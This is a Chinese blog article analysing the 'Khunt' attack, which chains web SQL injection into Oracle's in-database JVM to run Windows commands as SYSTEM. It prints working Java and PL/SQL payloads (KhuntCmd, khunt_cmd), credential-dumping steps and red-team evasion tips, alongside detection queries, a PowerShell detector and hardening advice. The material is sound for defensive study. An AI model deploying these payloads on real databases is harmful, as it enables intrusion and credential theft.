news 2026/8/9 15:05:23

实战|Oracle数据库内部编译Khunt:SQL注入直达Windows SYSTEM权限攻击全复现与检测处置

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
实战|Oracle数据库内部编译Khunt:SQL注入直达Windows SYSTEM权限攻击全复现与检测处置

摘要

野外真实捕获的链式攻击,攻击者不靠系统漏洞CVE,依托Web端SQL注入入口,滥用Oracle内置JVM编译能力,把恶意Java载荷直接写入数据库对象,磁盘无落地文件,绕过文件杀毒,最终拿到Windows平台Oracle服务SYSTEM权限。本文完整复现攻击链路、底层原理、检测脚本、排查清单、加固配置,同时给出红队视角的利用思路与蓝队落地的对抗手段。

1 事件背景与真实攻击现场

2026年7月Huntress对外披露一组野外捕获的攻击流量。攻击者对外网Java Tomcat业务系统发起探测,找到一处存在SQL注入的业务接口,没有使用传统数据库脱库手段,直接把攻击链条延伸到底层操作系统。

很多人会惯性去找对应CVE编号,但这个攻击不存在官方漏洞编号。它不是Oracle产品本身的缺陷,是多层安全配置错误叠加业务漏洞形成的攻击链。历史上oraexec就已经实现过同类技术原型,只是过去极少出现在真实野攻击中,Khunt是这套思路的现代化工程化实现。

受攻击环境基础条件:

  • 后端数据库:Oracle 11g‑19c,部署在Windows Server;
  • Oracle数据库服务本地运行身份:NT AUTHORITY\SYSTEM;
  • Web业务使用的Oracle业务账号,被DBA错误授予CREATE PROCEDURE权限;
  • Web业务接口存在SQL注入,攻击者可以通过注入点,直接向数据库发送任意PL/SQL语句;
  • 目标服务器部署常规EDR杀毒,仅开启文件层面查杀,未做数据库对象审计与进程树监控。

攻击发生之后,磁盘上找不到exe、dll之类恶意文件。所有恶意Java源码、编译后的class字节码全部存放在Oracle内部schema对象。安全人员登录服务器,浏览磁盘目录,看不到任何可疑载荷,只能从数据库内部、Windows进程树中找到攻击痕迹。

攻击者拿到SYSTEM权限之后执行的实际动作:导出SAM注册表 hive、抓取本地账号哈希、遍历磁盘文件、探测内网连通性,尝试向内网其他机器横向移动。

很多企业的安全防护逻辑存在断层:WebWAF防护注入、主机EDR查杀恶意文件,但数据库内部对象属于防护盲区。WebWAF拦不住已经进入数据库内部的PL/SQL语句;EDR扫描磁盘文件,数据库存储的Java class对象不会落盘,直接绕过文件查杀。

2 第一性原理拆解攻击底层逻辑

抛开攻击工具Khunt本身,剥离所有封装,只看底层成立的必要条件,只要下面全部条件同时成立,攻击就可以完成,和工具版本无关。

  1. 条件A:攻击者拥有可控的SQL执行入口
    可以是Web SQL注入,也可以是业务账号泄露。攻击者可以以业务账号身份,在Oracle数据库执行任意PL/SQL。

  2. 条件B:该数据库账号具备CREATE JAVA SOURCE权限
    Oracle内置JVM组件,允许用户在库内创建Java源对象。数据库接收源码之后,在数据库内部完成编译,生成Java class字节码,字节码存储在数据库schema,不会写入服务器磁盘。
    CREATE JAVA SOURCE依赖CREATE PROCEDURE权限,大量DBA做授权时直接把这个权限批量给到业务账号。

  3. 条件C:Java存储过程允许调用操作系统API
    Oracle Java授权策略默认允许Runtime.exec()调用操作系统命令。Java代码运行在Oracle数据库进程内部。

  4. 条件D:Windows平台Oracle服务运行账号为SYSTEM
    oracle.exe进程以SYSTEM身份启动,Java代码产生的子进程,直接继承父进程权限。执行系统命令就拿到Windows最高权限。

对抗式审查思考:
很多安全人员会把这个攻击归类为Oracle漏洞,去找补丁。但从底层看,Oracle只是提供了一套合法功能。如果删掉其中任意一条前置条件,整条攻击链直接断裂。

  • 把业务账号的CREATE PROCEDURE回收 → 条件B失效,无法上传编译Java源码;
  • Oracle服务改成普通低权限本地账号运行 → 条件D失效,就算执行命令也拿不到SYSTEM;
  • 关闭Oracle JVM组件 → 条件B直接失效;
  • 堵住SQL注入入口 → 条件A失效,攻击者没有入口。

这个攻击的可怕之处,不是某个单一高危漏洞,是多层防护同时失效之后产生的权限放大效应。很多企业安全建设只盯着高危CVE,忽略权限配置错误带来的组合风险。

3 完整攻击链路复现

3.1 攻击入口:Web业务SQL注入

对外暴露的Tomcat业务接口,搜索补全接口参数直接拼接用户输入,没有使用参数化查询。攻击者构造注入payload,绕过WAF,把PL/SQL语句送入Oracle数据库。

注意:这里WAF如果只拦截select、union、sleep这类常见注入特征,对CREATE JAVA SOURCE这类DDL语句识别能力普遍偏弱,很多传统WAF无法拦截这类DDL注入载荷。

攻击者不需要登录数据库客户端,Web接口就可以完成全部载荷部署。

3.2 数据库内部写入恶意Java源码

通过注入点执行CREATE JAVA SOURCE语句,把完整Java源代码存入数据库schema对象。数据库接收到源码,自动内部编译,生成class字节码,持久保存在数据库字典。
整个编译过程全部在oracle.exe进程内部完成,磁盘不会生成java、class文件。EDR扫描磁盘完全看不到载荷。

3.3 创建PL/SQL存储过程做调用封装

Java对象无法直接被普通SQL调用,攻击者创建一系列包装存储过程,名称全部以khunt_作为前缀,对外暴露调用入口。后续攻击者只需要执行khunt_cmd('whoami'),就可以触发Java代码执行系统命令。

3.4 执行系统命令,继承SYSTEM权限

PL/SQL存储过程触发内部Java方法,Java内部调用Runtime.getRuntime().exec(),oracle.exe生成cmd.exe子进程。进程继承父进程SYSTEM身份。返回执行结果,回显到Web注入点。

3.5 后渗透动作

拿到SYSTEM之后,执行注册表导出、抓取凭证、文件遍历、内网探测。

攻击者Web端SQL注入

以业务账号执行任意PL/SQL

CREATE JAVA SOURCE写入恶意源码

Oracle内置JVM内部编译生成Class字节码
字节码存储数据库schema,磁盘无文件

创建khunt_*系列PL/SQL存储过程封装调用入口

调用存储过程触发Runtime.exec执行系统命令

oracle.exe父进程派生cmd.exe
继承SYSTEM权限

凭证导出、文件窃取、内网横向移动

权限继承架构

S[Windows服务控制管理器] -->|启动|O[oracle.exe
运行身份:NT AUTHORITY\SYSTEM]
O -->|内部加载|OJVM[Oracle内置JVM]
OJVM -->|加载数据库内存储的恶意Class|JC[恶意Java代码对象
不在磁盘]
JC -->|Runtime.exec()|CMD[cmd.exe / powershell.exe
继承SYSTEM权限]

4 攻击载荷组件与PL/SQL调用逻辑

Khunt工具包一共6个Java类,配套一批PL/SQL包装存储过程。

对象名称功能说明
KhuntCmd执行操作系统命令,回显执行输出
KhuntHash读取Windows账号哈希,写入磁盘文件
KhuntFS / KhuntFS2文件读取、目录遍历、文件搜索
KhuntT连通性测试,验证载荷部署成功
KhuntUnzip服务器本地解压压缩包

示例简化版恶意Java源码,和真实Khunt逻辑对齐,仅用于安全研究复现:

publicclassKhuntCmd{publicstaticStringexecCmd(StringcmdStr)throwsException{Processp=Runtime.getRuntime().exec(cmdStr);java.io.BufferedReaderbr=newjava.io.BufferedReader(newjava.io.InputStreamReader(p.getInputStream()));StringBuildersb=newStringBuilder();Stringline;while((line=br.readLine())!=null){sb.append(line).append("\n");}returnsb.toString();}}

配套PL/SQL存储过程封装,用于从SQL层调用Java方法:

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "KhuntCmd" AS public class KhuntCmd { public static String execCmd(String cmdStr) throws Exception{ Process p = Runtime.getRuntime().exec(cmdStr); java.io.BufferedReader br = new java.io.BufferedReader( new java.io.InputStreamReader(p.getInputStream()) ); StringBuilder sb = new StringBuilder(); String line; while((line = br.readLine())!=null){ sb.append(line).append("\n"); } return sb.toString(); } } / CREATE OR REPLACE FUNCTION khunt_cmd(p_cmd IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'KhuntCmd.execCmd(java.lang.String) return java.lang.String'; /

攻击者部署完成之后,只需要执行下面语句,就可以拿到系统whoami结果:

select khunt_cmd('whoami') from dual;

查询返回NT AUTHORITY\SYSTEM,攻击完成。

对抗式审查点:
很多安全人员审计数据库,只会看表、视图,不会去检查Java source对象、存储过程。攻击者可以修改对象名称,去掉khunt前缀,改成业务系统类似的名字,进一步规避人工排查。

5 野现攻击样本关键行为特征

数据库层行为

  1. 短时间内出现大量CREATE JAVA SOURCEDDL语句;
  2. 业务schema下新增大量Java源对象、Java class对象;
  3. 批量创建匿名存储过程,封装Java调用;
  4. 普通业务账号,发起Java对象创建操作。

Windows主机层行为

  1. 父进程oracle.exe直接派生cmd.exepowershell.exe
  2. oracle.exe衍生进程调用reg.exe saveesentutl.exe导出注册表hive;
  3. 进程命令行出现SAM、SYSTEM、SECURITY注册表文件导出动作;
  4. Oracle进程向外发起大量内网IP端口探测。

重点:EDR只做文件扫描完全无效。恶意载荷全部保存在Oracle数据库字典,磁盘不存在对应的class、java文件。传统杀毒扫描磁盘,无法发现载荷。只有进程行为审计、数据库审计才能捕获。

6 蓝队检测:完整可复制检测脚本

6.1 Oracle数据库侧检测SQL脚本

直接在Oracle数据库执行,查找可疑Java对象、可疑存储过程。

-- 查找所有Java Source对象 SELECT owner, object_name, object_type, status, timestamp FROM dba_objects WHERE object_type='JAVA SOURCE' ORDER BY timestamp DESC; -- 查找Java Class对象 SELECT owner, object_name, object_type, status, timestamp FROM dba_objects WHERE object_type='JAVA CLASS' ORDER BY timestamp DESC; -- 查找名称含khunt的存储过程(攻击者可改名,仅作为快速筛查) SELECT owner, object_name, object_type, timestamp FROM dba_objects WHERE object_type IN ('PROCEDURE','FUNCTION') AND upper(object_name) LIKE '%KHUNT%' ORDER BY timestamp DESC; -- 审计:查询哪些账号拥有CREATE PROCEDURE权限 SELECT grantee, privilege FROM dba_sys_privs WHERE privilege='CREATE PROCEDURE';

注意:攻击者可以修改对象名,不能只靠khunt关键字匹配。必须定期审计业务schema下所有JAVA SOURCE、JAVA CLASS对象。

清理恶意对象示例:

DROP JAVA SOURCE "KhuntCmd"; DROP FUNCTION khunt_cmd;

6.2 Windows主机侧检测,PowerShell脚本

检索进程树,告警oracle.exe派生cmd、powershell等高危子进程,可用于EDR自定义检测规则。

<# 检测oracle.exe衍生异常子进程,输出进程树信息 #>Get-WmiObjectWin32_Process|ForEach-Object{$proc=$_$parentId=$proc.ParentProcessId$parentProc=Get-WmiObjectWin32_Process-Filter"ProcessId=$parentId"-ErrorAction SilentlyContinueif($parentProc.Name-eq"oracle.exe"){$riskProcessList= @("cmd.exe","powershell.exe","pwsh.exe","reg.exe","esentutl.exe")if($riskProcessList-contains$proc.Name.ToLower()){[PSCustomObject]@{ParentProcessName =$parentProc.Name ParentPID =$parentIdChildProcessName =$proc.Name ChildPID =$proc.ProcessId CommandLine =$proc.CommandLine CreateTime =$proc.CreationDate}}}}

6.3 日志审计要点

  1. 开启Oracle审计,审计CREATE JAVA SOURCECREATE PROCEDURE操作;
  2. Windows安全日志,监控进程创建事件ID 4688,记录父进程PID、命令行;
  3. 定期拉取dba_objects视图,对比基线,发现新增JAVA SOURCE对象直接告警。

7 对抗式审查:防守方常见盲区

这里站在攻防对抗视角,列出真实环境下大量企业踩过的坑。

  1. 依赖WAF拦截全部风险
    WAF擅长拦截Web请求中的union select等注入特征。一旦注入已经成功,攻击者直接在数据库执行DDL,WAF看不到数据库内部执行的PL/SQL语句。WAF无法阻断数据库内部载荷部署。

  2. 主机安全只做文件查杀
    EDR扫描磁盘文件,数据库内部的Java class对象不会落盘。磁盘找不到恶意样本,安全人员直接判定主机无威胁,忽略进程树异常。

  3. DBA批量授予业务账号CREATE PROCEDURE权限
    开发调试阶段,DBA为了省事,直接给业务账号开大量权限,上线之后没有回收。很多业务系统完全不需要创建存储过程、Java对象,却长期持有该权限。

  4. Oracle JVM组件默认开启,几乎无人审计
    大量运维人员不知道Oracle存在内置JVM,不清楚可以在数据库内部编译Java代码。几乎不会去查询dba_objects中JAVA SOURCE对象。

  5. Oracle Windows服务直接使用SYSTEM运行
    部署Oracle时,很多运维直接使用本地系统账号启动服务,图省事。一旦数据库层面被突破,直接拿到服务器最高权限。很多人只关注数据库账号权限,忽略操作系统服务账号权限。

  6. 只关注公开CVE,忽略业务配置漏洞攻击链
    安全扫描器主要扫描已知漏洞CVE,这种权限叠加的链式攻击没有CVE编号,漏洞扫描器不会告警。风险长期潜伏。

8 落地加固配置清单

8.1 Web业务层

  1. 全部业务查询强制使用参数化查询,杜绝字符串拼接SQL。搜索框、补全接口这类低风险接口同样要做输入校验。
  2. WAF增加DDL语句特征检测,拦截请求中CREATE JAVA SOURCE等载荷。
  3. 上线前做完整SQL注入渗透测试。

8.2 Oracle数据库权限加固

  1. 回收业务账号CREATE PROCEDURE权限。业务账号只保留DML必需权限(select,insert,update,delete)。
REVOKE CREATE PROCEDURE FROM 业务账号;
  1. 业务不需要Java存储过程,直接卸载Oracle JVM组件。

卸载JVM操作需要评估业务兼容性,确认业务无Java存储过程再执行。

  1. 开启数据库审计,对CREATE JAVA SOURCECREATE PROCEDURE操作生成告警。
  2. 定期巡检dba_objects视图,监控JAVA SOURCE、JAVA CLASS对象新增。

8.3 Windows操作系统侧加固

  1. 修改Oracle数据库服务运行账号,放弃SYSTEM,使用低权限本地账号运行oracle服务,给账号分配Oracle目录最小必要权限。
  2. 在EDR中配置自定义规则:父进程oracle.exe产生cmd、powershell、reg.exe、esentutl直接告警。
  3. 限制Oracle服务账号不能访问SAM、注册表敏感项。

8.4 网络层面

Oracle数据库实例禁止直接暴露公网。Web应用服务器与数据库之间配置访问控制,数据库不主动对外网发起出站连接。

9 红队视角:同类攻击扩展思路

Khunt不是孤例,这套攻击模型可以做变种。

  1. 修改Java对象名称,伪装成业务正常对象,规避关键字检测;
  2. 不使用khunt_前缀,存储过程名称伪装成业务存储过程;
  3. Java代码增加混淆,审计看源码无法一眼识别恶意逻辑;
  4. 除了Runtime.exec,Java对象还可以读写服务器磁盘文件,上传下载文件;
  5. 相同逻辑也可以用于Linux平台Oracle,区别只是拿到oracle用户权限,不是SYSTEM。

蓝队不能只依靠特征关键字匹配,必须回到第一性原理,切断攻击成立的前置条件。只靠IOC特征对抗,攻击者稍微修改载荷,检测规则直接失效。

10 结尾互动

  1. 你们实际运维环境中,业务Oracle账号是否被分配过CREATE PROCEDURE这类高危权限?
  2. 你们的主机安全产品,是否已经配置针对oracle.exe衍生子进程的检测告警?欢迎评论区交流。

我之前也写过类似的文章,更多相关内容、心得经验可以来我博客看看~

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/9 15:04:41

抖音无水印下载器终极指南:免费高清批量下载的完整教程

抖音无水印下载器终极指南&#xff1a;免费高清批量下载的完整教程 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback supp…

作者头像 李华
网站建设 2026/8/9 14:56:06

温州水冷机组维保-欧米到家10年经验师傅30分钟极速上门检修|故障检修 | 定期保养 | 配件更换 | 清洗维护| 报价公开透明一站式服务

前言水冷机组广泛应用于温州各大写字楼、商业综合体、工业厂房、高端别墅等场景&#xff0c;是商用及家用制冷系统的核心设备。长期高负荷运行、日常养护缺失&#xff0c;极易出现制冷变差、机组跳机、异响震动、管路漏水、结霜结冰等故障。不少用户维修时经常遇到师傅技术有限…

作者头像 李华
网站建设 2026/8/9 14:55:21

两天用Flutter+AI打造跨端应用:Vibe Coding实战与工具链揭秘

1. 项目概述&#xff1a;当“感觉对了”的编码遇上AI 最近在开发者圈子里&#xff0c;“vibe coding”这个概念挺火的。它描述的是一种状态&#xff1a;你有一个模糊但强烈的想法&#xff0c;感觉对了&#xff0c;然后你就顺着这股“感觉”去快速构建和迭代&#xff0c;而不是先…

作者头像 李华
网站建设 2026/8/9 14:53:01

超自动化运维:技术栈、实施路径与未来趋势

1. 为什么说超自动化运维已成必然&#xff1f; 运维工程师的日常正在发生一场静默的革命。三年前&#xff0c;我还在为凌晨三点的告警电话手忙脚乱&#xff0c;如今90%的故障处理已由自动化系统完成。这不是某个企业的特例——Gartner数据显示&#xff0c;到2025年采用超自动化…

作者头像 李华